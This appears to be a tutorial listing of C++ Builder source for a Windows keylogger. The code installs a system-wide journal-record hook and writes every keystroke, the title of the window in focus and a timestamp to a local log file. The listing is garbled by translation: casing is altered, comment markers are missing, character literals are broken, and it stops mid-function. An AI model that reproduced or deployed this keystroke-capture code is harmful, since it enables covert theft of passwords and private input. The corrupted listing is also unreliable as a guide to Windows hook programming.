Log hook code is as follows, you slowly taste it:
-----------. CPP File
//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdio.h>
#pragma hdrstop
#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package (smart_init)
#pragma resource "*.DFM"
Tfrmloghook *frmloghook;
HookProc journallogproc (int icode,wparam wparam,lparam LPARAM);
Hook variable
Hhook G_hloghook=null;
Record the last window handle that got focus
HWND G_hlastfocus=null;
Keyboard Mask Variable
const int keypressmask=0x80000000;
Save the last key value
Char G_prvchar;
//---------------------------------------------------------------------------
__fastcall Tfrmloghook::tfrmloghook (tcomponent* Owner)
: Tform (Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall Tfrmloghook::btninstallclick (tobject *sender)
{
if (g_hloghook==null)
Install log Hooks
G_hloghook=setwindowshookex (Wh_journalrecord, (HookProc) journallogproc,hinstance,0);
}
//---------------------------------------------------------------------------
void __fastcall Tfrmloghook::btnuninstallclick (tobject *sender)
{
if (g_hloghook!=null)
{
UnhookWindowsHookEx (G_hloghook);
G_hloghook=null;
}
}
//---------------------------------------------------------------------------
HookProc journallogproc (int icode,wparam wparam,lparam LPARAM)
{
if (icode<0) return (HookProc) CallNextHookEx (G_hloghook,icode,wparam,lparam);
if (icode==hc_action)
{
eventmsg* pevt= (eventmsg*) LParam;
int i;
HWND hfocus;//Save current active window handle
Char sztitle[256];//Current window name
Char sztime[128];//current date and time
file* Stream=fopen ("H:\\usr\\logfile.txt", "A +");
if (Pevt->message==wm_keydown)
{
int Vkey=lobyte (PEVT->PARAML);//Get Virtual key value
Char ch;
Char str[10];
Hfocus=getactivewindow ();
if (G_hlastfocus!=hfocus)
{
GetWindowText (hfocus,sztitle,256);
G_hlastfocus=hfocus;
strcpy (Sztime,datetimetostr (now ()). C_STR ());
fprintf (Stream, "%c%s%c%c%s", 10,sztime,32,32,sztitle);
fprintf (Stream, "%c%c", 32,32);
}
int ishift=getkeystate (0x10);
int icapital=getkeystate (0x14);
int inumlock=getkeystate (0X90);
BOOL Bshift= (ishift&keypressmask) ==keypressmask;
BOOL Bcapital= (icapital&1) ==1;
BOOL Bnumlock= (inumlock&1) ==1;
/*
if (vkey==9)//tab
fprintf (Stream, "%c", ' \ t ');
if (vkey==13)//Enter
fprintf (Stream, "%c", ' \ n ');
*/
if (vkey>=48 && vkey<=57)//number key 0-9
{
if (!bshift)
fprintf (Stream, "%c", vkey);
Else
{
Switch (vkey)
{
Case 49:
Ch= '! ';
Break
Case 50:
Ch= ' @ ';
Break
Case 51:
Ch= ' # ';
Break
Case 52:
Ch= ' $ ';
Break
Case 53:
Ch= '% ';
Break
Case 54:
Ch= ' ^ ';
Break
Case 55:
Ch= ' & ';
Break
Case 56:
Ch= ' * ';
Break
Case 57:
Ch= ' (';
Break
Case 48:
Ch= ') ';
Break
}
fprintf (Stream, "%c", ch);
}
}
if (vkey>=65 && vkey<=90)//a-z A-Z
{
if (!bcapital)
{
if (Bshift)
Ch=vkey;
Else
ch=vkey+32;
}
else if (bshift)
ch=vkey+32;
Else
Ch=vkey;
fprintf (Stream, "%c", ch);
}
if (vkey>=96 && vkey<=105)//keypad 0-9
{
if (Bnumlock)
fprintf (Stream, "%c", vkey-96+48);
}
if (vkey>=186 && vkey<=222)//other keys
{
Switch (vkey)
{
Case 186:
if (!bshift) ch= '; ';
Else ch= ': ';
Break
Case 187:
if (!bshift) ch= ' = ';
else ch= ' + ';
Break
Case 188:
if (!bshift) ch= ', ';
else ch= ' < ';
Break
Case 189:
if (!bshift) ch= '-';
Else ch= ' _ ';
Break
Case 190:
if (!bshift) ch= '. ';
else ch= ' > ';
Break
Case 191:
if (!bshift) ch= '/';
Else ch= '? ';
Break
Case 192:
if (!bshift) ch= ';
else ch= ' ~ ';
Break
Case 219:
if (!bshift) ch= ' [;
else ch= ' {';
Break
Case 220:
if (!bshift) ch= ' \ \ ';
else ch= ' | ';
Break
Case 221:
if (!bshift) ch= '];
Else ch= '} ';
Break
Case 222:
if (!bshift) ch= ' \ ';
else Ch= ' ';
Break
Default
Ch= ' n ';
Break
}
if (ch!= ' n ') fprintf (stream, "%c", ch);
} //
if (vkey>=112 && vkey<=123)//function key [F1]-[F12]
{
Switch (WParam)
{
Case 112:
fprintf (Stream, "%s", "[F1]");
Break
Case 113:
fprintf (Stream, "%s", "[F2]");
Break
Case 114:
fprintf (Stream, "%s", "[F3]");
Break
Case 115:
fprintf (Stream, "%s", "[F4]");
Break
Case 116:
fprintf (Stream, "%s", "[F5]");
Break
Case 117:
fprintf (Stream, "%s", "[F6]");
Break
Case 118:
fprintf (Stream, "%s", "[F7]");
Break
Case 119:
fprintf (Stream, "%s", "[F8]");
Break
Case 120:
fprintf (Stream, "%s", "[F9]");
Break
Case 121:
fprintf (Stream, "%s", "[F10]");
Break
Case 122:
fprintf (Stream, "%s", "[F11]");
Break
Case 123:
fprintf (Stream, "%s", "[F12]");
Break
}
}
if (vkey>=8 && vkey<=46)//arrow keys
{
Switch (vkey)
{
Case 8:
strcpy (str, "[BK]");
Break
Case 9:
strcpy (str, "[tab]");
Break
Case 13:
strcpy (str, "[EN]");
Break
Case 27:
strcpy (str, "[ESC]");
Break
Case 32:
strcpy (str, "[SP]");
Break
Case 33:
strcpy (str, "[PU]");
Break
Case 34:
strcpy (str, "[PD]");
Break
Case 35:
strcpy (str, "[end]");
Break
Case 36:
strcpy (str, "[Home]");
Break
Case 37:
strcpy (str, "[LF]");
Break
Case 38:
strcpy (str, "[UF]");
Break
Case 39:
strcpy (str, "[RF]");
Break
Case 40:
strcpy (str, "[DF]");
Break
Case 45:
strcpy (str, "[INS]");
Break
Case 46:
strcpy (str, "[DEL]");
Break
Default
Ch= ' n ';
Break
}
if (ch!= ' n ')
{
if (G_prvchar!=vkey)
//{
fprintf (Stream, "%s", str);
G_prvchar=vkey;
/